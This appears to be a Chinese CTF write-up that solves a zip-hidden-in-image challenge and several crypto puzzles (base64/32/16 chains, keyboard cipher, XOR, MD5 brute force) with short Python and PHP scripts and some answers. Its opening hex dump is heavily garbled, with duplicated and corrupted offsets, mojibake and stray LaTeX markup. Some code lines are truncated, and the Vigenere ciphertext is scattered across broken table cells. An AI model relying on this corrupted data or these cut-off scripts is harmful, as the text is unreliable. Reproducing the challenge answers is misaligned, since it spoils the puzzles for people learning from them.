000000960 4B 9B B3 02 14 AA 6E A0 E9 B5 46 4F 07 48 AB DE 浴□□湯沛噼○□ 000000970 A1 2B D4 6F 7D 0C 35 E1 04 7A BB C2 FB B1 84 EB ? o}□5□? 000000980 10 66 54 4F 42 FD 18 D9 A8 F9 02 D9 6D 68 A9 93 □ftoB? □賛 000000990 F7 C3 A1 2A 6A B2 51 C5 3C 04 D0 4B 61 66 47 36 ? a 000000900 5E FF F8 76 16 9D B1 F7 3E B3 E0 EC A2 66 18 AD ^ 為□注? 囔 000000900 19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C ? 比水密 000000900 2A DA 0C 63 0A 9E 09 4D 18 5B 83 5A B4 7B A5 C5 ? M□[債何 000000900 D6 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 ? %賺?? 000000900 EB 1B 38 D3 30 25 C4 64 0F BA 0D 53 56 BF 4E C3 ? %賺?? 000000900 C1 1B C1 C4 71 D7 DD 94 84 4C 81 4F E3 78 7B 30 □\$\pmq\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$ 00000DA10 15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 □\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$ 0000DA20 B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 \$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$ 0000DA30 88 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA \$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$\mathcal{m}\$	00000950	8F	73	35	4C	86	BF	8B	DB	0F	3E	D3	52	5E	C5	AE	CC	S	5工呀	愛嬠	>>登	₽^女蘇	Ē
0000D970 A1 2B D4 6F 7D 0C 35 E1 04 7A BB C2 FB B1 84 EB ? o}D5? 0000D980 10 66 54 4F 42 FD 18 D9 A8 F9 02 D9 6D 68 A9 93 06 68 A9 93 05 7 C3 A1 2A 6A B2 51 C5 3C 04 D0 4B 61 66 47 36 05 7 C3 A1 2A 6A B2 51 C5 3C 04 D0 4B 61 66 47 36 06 47 36 06 2? a 0000D900 5E FF F8 76 16 9D B1 F7 3E B3 E0 EC A2 66 18 AD 06 27 0E 0C ? 勝水痞 06 28 A9 93 07 08 C6 08 29 08 29 08 20	00000960	4B	9B	в3	02	14	AA	6E	A0	E9	в5	46	4F	07	48	AB	DE	14	300	獨新	市碇	о⊟н	
0000D980 10 66 54 4F 42 FD 18 D9 A8 F9 02 D9 6D 68 A9 93 □ftoB? □賛 0000D990 F7 C3 A1 2A 6A B2 51 C5 3C 04 D0 4B 61 66 47 36 % <td>00000970</td> <td>A1</td> <td>2B</td> <td>D4</td> <td>6F</td> <td>7D</td> <td>0C</td> <td>35</td> <td>E1</td> <td>04</td> <td>7A</td> <td>BB</td> <td>C2</td> <td>\mathbf{FB}</td> <td>в1</td> <td>84</td> <td>EB</td> <td>?</td> <td>o}[</td> <td>□5?</td> <td></td> <td>勲</td> <td></td>	00000970	A1	2B	D4	6F	7D	0C	35	E1	04	7A	BB	C2	\mathbf{FB}	в1	84	EB	?	o}[□5?		勲	
0000D990 F7 C3 A1 2A 6A B2 51 C5 3C 04 D0 4B 61 66 47 36 髅? ? a 0000D9A0 5E FF F8 76 16 9D B1 F7 3E B3 E0 EC A2 66 18 AD ^ 為口溫? 囔 0000D9B0 19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C ? 為 25 C4 64 0F BA 0D 53 5A B4 7B A5 C5 ? M□[債斫 0000D9D0 D6 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 注塗fy4Kp哌祎 0000D9C0 EB 1B 38 D3 30 25 C4 64 0F BA 0D 53 56 BF 4E C3 ? %膁?? 0000D9F0 75 8A E0 78 74 7D D6 7B 6D 7F 93 C5 22 16 02 F0 ým(xt) 諮m ^w 0000DA00 C1 1B C1 C4 71 D7 DD 94 84 4C 81 4F E3 78 7B 30 □\$\pmq(纵搷L\\mu)\$ 0000DA10 15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 □\$\pmg(\mu]\$ 0000DA20 B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 \$\mu\$\$\mu\$\$\mu\$\$\mu\$\$ 0000DA30 8B 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA \$\mu\$\$\mu\$\$\mu\$\$\mu\$\$\mu\$\$\mu\$\$\mu\$\$\mu	00000980	10	66	54	$4 \mathrm{F}$	42	$\mathbf{F}\mathbf{D}$	18	D9	A8	F9	02	D9	6D	68	Α9	93	Df?	LOB.	?		賛h□□	
0000D9A0 5E FF F8 76 16 9D B1 F7 3E B3 E0 EC A2 66 18 AD ^ 第回濜? 囔 0000D9B0 19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C 2 Bk 水痞 0000D9C0 2A DA 0C 63 0A 9E 09 4D 18 5B 83 5A B4 7B A5 C5 2 MD[(#) 0000D9D0 D6 F9 BA 51 66 79 34 4B 70 DF D0 84 4F 5A 16 +2 % % #2 MD[(#) #2 % #2 % #2 % #2 % #2 % #2 % #2 % #2 % #2 % #2 % #2 % #2 % #2 % % #2 % %	00000990	F7	C3	A1	2A	6A	в2	51	C5	3C	04	DO	4B	61	66	47	36	髅	?	?		afG6	
0000D9B0 19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C ? Sk <	0000D9A0	5E	$\mathbf{F}\mathbf{F}$	F8	76	16	9D	в1	F7	3E	в3	E0	EC	A2	66	18	AD	<u>^</u>	鴙□	澅?	嘎	₹ □?	
0000D9C0 2A DA OC 63 OA 9E 09 4D 18 5B 83 5A B4 7B A5 C5 *? M□[僙句 0000D9D0 D6 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 柱镗fy4Kp哌祎 0000D9E0 EB 1B 38 D3 30 25 C4 64 OF BA OD 53 56 BF 4E C3 ? % 賺?? 0000D9F0 75 8A E0 78 74 7D D6 7B 6D 7F 93 C5 22 16 02 F0 续xt } 謠mī 撆" 0000DA00 C1 1B C1 C4 71 D7 DD 94 84 4C 81 4F E3 78 7B 30 □聊q纵搷L丱釦 0000DA10 15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 □ 驚Y桙ロ? */ 0000DA20 B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 家じ(r植f羓ເ楠樹 0000DA30 8B 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA 嫁罰*.?	0000D9B0	19	F1	A4	95	AA	2F	D0	F2	4D	9A	\mathbf{EC}	C6	A6	27	0E	0C		?	馬	舍水:	痞╹□	
0000D9D0 D6 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 柱镗fy4Kp哌祎 0000D9E0 EB 1B 38 D3 30 25 C4 64 0F BA 0D 53 56 BF 4E C3 ? %膁?? 0000D9F0 75 8A E0 78 74 7D D6 7B 6D 7F 93 C5 22 16 02 F0 续xt}謠mi 擎" 0000DA00 C1 1B C1 C4 71 D7 DD 94 84 4C 81 4F E3 78 7B 30 □聊q纵搷L丱鉛 0000DA10 15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 □ 驚Y桙ロ? */ 0000DA20 B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 s□(r植f羓惴梢 0000DA30 8B 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA 嫁翫*.?	00000900	2A	DA	0C	63	0A	9E	09	4D	18	5B	83	5A	в4	7B	A 5	C5	*?		М	□[債	黄磠ヅ	
0000D9E0 EB 1B 38 D3 30 25 C4 64 0F BA 0D 53 56 BF 4E C3 ? % % ? % % ? % % ? % % ? % % ? % % ? % % ? % % ? % % ? % % ? % % ? % % ? % % ? % % ? % % ? % % % ? % % % ? % % % ? %	00000900	D6	F9	BA	51	66	79	34	4B	70	\mathbf{DF}	\mathbf{DF}	D0	84	4F	5A	16	柱	篞f	y4K	p哌	袆oz□	
0000D9F0 75 8A E0 78 74 7D D6 7B 6D 7F 93 C5 22 16 02 F0 续xt) 謠m 弊" 0000DA00 C1 1B C1 C4 71 D7 DD 94 84 4C 81 4F E3 78 7B 30 □聊q纵搷L丱翁 0000DA10 15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 □ 鷺Y桙□? */ 0000DA20 B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 s□(r植f羓慲樹 0000DA30 8B 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA 姼勩*.? 声	0000D9E0	EB	1B	38	D3	30	25	C4	64	0F	BA	0D	53	56	\mathbf{BF}	4E	C3	?	1	۶膁	??	м胾	Ż
0000DA00 C1 1B C1 C4 71 D7 DD 94 84 4C 81 4F E3 78 7B 30 □聊g纵攘L丱翁 0000DA10 15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 □ 鷺Y桙□? */ 0000DA20 B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 s□(r植f羓慲樹 0000DA30 8B 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA	0000D9F0	75	8A	E0	78	74	7D	D6	7B	6D	7F	93	C5	22	16	02	F0	妸	x t	}謠	m□ÿ	ً™□□卻	3
0000DA10 15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 □ 鷺Y桙□? */ 0000DA20 B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 s□(r植f羓慲樹 0000DA30 8B 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA	0000DA00	C1	1B	C1	C4	71	D7	DD	94	84	4C	81	4F	E3	78	7B	30		聊q	纵捷	QL り	┛鉿{0	
0000DA20 B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 s□(r植f羓慲樹 0000DA30 8B 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA	0000DA10	15	1F	\mathbf{FB}	54	59	96	\mathbf{FC}	0B	F1	20	D6	2A	2F	CB	67	89		ÌÌ Y	桙□	?	*/薵壉	k
0000DA30 8B 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA	0000DA20	В1	73	08	28	72	D6	в2	66	C1	6A	91	60	99	55	00	C6	s](r)	植f	羓惊	梼檬□茓	Ż
	0000DA30	8B	8A	в8	84	E3	2A	2C	DF	7F	5D	Ε9	62	в0	в6	75	EA	姼	₿勩	*,?		岸u?	\sim

与此同时

6A 47 C3 DA D6 0A 48 E8 00 00 7C E8 00 00 0A 00 jg泌?	□ ? ing杈沙市
	コンスない市
00 00 6E 76 73 68 65 6E 2E 6A 70 67 97 4A E4 A5 Durben.	·JPg/至视
BC 72 47 1B 92 8F 7A 88 93 C3 F1 C0 84 59 AC 15 세GD拸z垞	ឱ抿绖Y?
38 D7 DA ED B4 OC 27 OD CA E7 20 AE A5 62 86 B3	叔 b喅
22 8B 46 BB AA D8 FD B3 9C 17 10 6B 7F 7C A8 E7 "婩华佚硲	
08 EC DB 31 8E 00 03 9C 39 D1 71 51 AE 98 A2 AF 口燠1?	補 Q 暘
0B 7D 34 50 AF 0C 76 04 96 49 DC E9 AB 25 5E 1F 4P?	I荛?
2F 25 42 BB D1 1B BF B7 6B 3A 92 0F 07 C7 B8 99 \$B谎□糠]	k:? 檹
8F 73 35 4C 86 BF 8B DB 0F 3E D3 52 5E C5 AE CC s5L嗳嬠>	>>覴^女蘇
4B 9B B3 02 14 AA 6E AO E9 B5 46 4F 07 48 AB DE 洛口獨狮	b確o□H
A1 2B D4 6F 7D 0C 35 E1 04 7A BB C2 FB B1 84 EB ? o}D5?	勲
10 66 54 4F 42 FD 18 D9 A8 F9 02 D9 6D 68 A9 93 DfTOB?	□賛h□□
F7 C3 A1 2A 6A B2 51 C5 3C 04 D0 4B 61 66 47 36 髅? ?	afG6
5E FF F8 76 16 9D B1 F7 3E B3 E0 EC A2 66 18 AD ^ 鴙口濃?	囔 □?
19 F1 A4 95 AA 2F D0 F2 4D 9A EC C6 A6 27 0E 0C ? 影	\$水痞'□
2A DA OC 63 0A 9E 09 4D 18 5B 83 5A B4 7B A5 C5 *? MI	「債磠ヅ
D6 F9 BA 51 66 79 34 4B 70 DF DF D0 84 4F 5A 16 柱缝fy4Kr	o哌祎oz□
EB 1B 38 D3 30 25 C4 64 0F BA 0D 53 56 BF 4E C3 ? %膁	?? N胾
75 8A E0 78 74 7D D6 7B 6D 7F 93 C5 22 16 02 F0	n□擎"□□鹆
C1 1B C1 C4 71 D7 DD 94 84 4C 81 4F E3 78 7B 30 口聊g纵攘	豇丱鉿ィ0
15 1F FB 54 59 96 FC 0B F1 20 D6 2A 2F CB 67 89 D 驚y桙ロ	? */蓁壉
B1 73 08 28 72 D6 B2 66 C1 6A 91 60 99 55 00 C6 s□(r植f	把慲橴□茓
8B 8A B8 84 E3 2A 2C DF 7F 5D E9 62 B0 B6 75 EA 姼勤*,?	岸u?

啧啧.zip没跑了

但是zip的头是50 4B 03 04,这里没有,加上就行了.把前面的6C 6F 76 65 一直到文件末尾抓到一个新的文件去,再把6C 6F 76 65换为50 4B 03 04,解压

为加密的文件输入密码: nvshen.jpg

love~ok~

(话说flag的格式由nctf{}变成flag{}真的好吗...)

顺便安利一篇讲解zip的文章(http://www.cnblogs.com/test404/p/5979110.html)

密码学

easy!

密文: bmN0Znt0aGlzX2lzX2Jhc2U2NF9lbmNvZGV9 这题做不出来就剁手吧!

base64~

KeyBoard

看键盘看键盘看键盘! 答案非标准格式,提交前加上nctf{} ytfvbhn tgbgy hjuygbn yhnmki tgvhn uygbnjm uygbn yhnijm

看着键盘画一下就行了~

base64全家桶

全家桶全家桶全家桶! 我怎么饿了。。。。。。 密文(解密前删除回车): R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHTTJES 1JSV0dJM0RDTlpUR1kyVEdNWIRHSTJVTU5SUkdaQ1RNTkJWSVk zREVOUIJHNFpUTU5KVEdFWIRNTjJF

全家桶...base64,base32,base16.

```
import base64
print base64.b16decode(base64.b32decode(base64.b64decode('R1pDVE1NWlhHUTNETU4yQ0dZWkRNTUpYR00zREtNWldHT
```

n次base64

依然是base64 不过。。。编码次数有点多 请用python解吧~ 地址:密文地址

```
#s就是密文
while 1:
    s=base64.b64decode(s)
    print s
```

加密函数

```
<?php function encode($str){ $_0=strrev($str); for($_0=0;$_0<strlen($_0);$_0++){ $_c=substr($_0,$_0,1);</pre>
```

那么写解密函数就行了

<?php function decode(\$str) { \$str=base64_decode(strrev(str_rot13(\$str))); \$_o=strrev(\$str); for(\$_0=0;</pre>

mixed_base64

多重base64加密,

干(sang)得(xin)漂(bing)亮(kuang)!

code.txt

也就是随机从base64,32,16里选一个加密,反复10次.那只能爆破了,python大法好

```
from base64 import *
import itertools
s=open('1.txt','r').read()
result={
    '16':lambda x:b16decode(x),
    '32':lambda x:b32decode(x),
    '64':lambda x:b64decode(x)
    }
for i_1 in ['16','32','64']:
    for i_2 in ['16','32','64']:
        for i_3 in ['16','32','64']:
            for i_4 in ['16','32','64']:
                for i_5 in ['16','32','64']:
                    for i_6 in ['16','32','64']:
                        for i_7 in ['16','32','64']:
                            for i_8 in ['16','32','64']:
                                for i_9 in ['16','32','64']:
                                    for i_10 in ['16','32','64']:
                                         try:
                                            print result[i_10](result[i_9](result[i_8](result[i_7](resu
                                         except:
                                            continue
```

大概跑个10秒就出了~顺序是[32 16 16 64 16 64 32 16 32 32]

异性相吸

同性真爱,异性相吸都是假的! (题目要求,我是直的)

解密压缩文件里的内容

TIPS: 1.xor 2.hex2binary 3.len(bin(miwen))==len(bin(mingwen))

文件

按照tips,写个python跑啦~

```
ens=open('en.txt','r').read()#密文
des=open('de.txt','r').read()#明文
for i in range(len(des)):
    print chr(ord(des[i])^ord(ens[i])),
```

MD5

python大法好! 这里有一段丢失的md5密文 e9032???da???08???911513?0???a2 要求你还原出他并且加上nctf{}提交

已知线索 明文为: TASC?O3RJMV?WDJKX?ZM

题目来源:安恒杯

要做的就是把?补出来.python大法还是好~

```
import hashlib
for i in range(32,127):
    for j in range(32,127):
        for k in range(32,127):
            m=hashlib.md5()
            m.update('TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM')
            des=m.hexdigest()
            if 'e9032' in des and 'da' in des and '911513' in des:
                print des
```

原文是TASCJO3RJMVKWDJKXLZM

Vigenere 300

It is said that Vigenere cipher does not achieve the perfect secrecy actually :-)

Tips:

1. The encode pragram is given;

2.Do u no index of coincidence ?

3. The key is last 6 words of the plain text(with "nctf{" when submitted, also without any interpunction)

| code is here(without ' |
|---|
| ʻ): |
| F96DE8C227A259C87EE1DA2AED57C93FE5DA36ED4EC87EF2C63AAE5B9A7EFFD673BE4ACF7BE8923CAB1ECE7A |
| F2 |
| DA3DA44FCF7AE29235A24C963FF0DF3CA3599A70E5DA36BF1ECE77F8DC34BE129A6CF4D126BF5B9A7CFEDF3EB |
| 8 |
| 50D37CF0C63AA2509A76FF9227A55B9A6FE3D720A850D97AB1DD35ED5FCE6BF0D138A84CC931B1F121B44ECE70 |
| F |
| 6C032BD56C33FF9D320ED5CDF7AFF9226BE5BDE3FF7DD21ED56CF71F5C036A94D963FF8D473A351CE3FE5DA3C |
| В |
| 84DDB71F5C17FED51DC3FE8D732BF4D963FF3C727ED4AC87EF5DB27A451D47EFD9230BF47CA6BFEC12ABE4AD |
| F7 |
| 2E29224A84CDF3FF5D720A459D47AF59232A35A9A7AE7D33FB85FCE7AF5923AA31EDB3FF7D33ABF52C33FF0D67 |
| 3A |
| 551D93FFCD33DA35BC831B1F43CBF1EDF67F0DF23A15B963FE5DA36ED68D378F4DC36BF5B9A7AFFD121B44ECE |
| 76 |
| FEDC73BE5DD27AFCD773BA5FC93FE5DA3CB859D26BB1C63CED5CDF3FE2D730B84CDF3FF7DD21ED5ADF7CF0 |
| D63 |
| 6BE1EDB79E5D721ED57CE3FE6D320ED57D469F4DC27A85A963FF3C727ED49DF3FFFDD24ED55D470E69E73AC50 |
| DE |
| $3 \texttt{FE5DA3ABE1EDF67F4C030A44DDF3FF5D73EA250C96BE3D327A84D963FE5DA32B91ED36BB1D132A31ED87AB1D}{}$ |
| 021 |
| A255DF71B1C436BF479A7AF0C13AA14794 |
| |
| encode.cpp |

code.txt

先放着~

MISC

放着以后填坑~

逆向

pwn

放着以后填坑~

结束



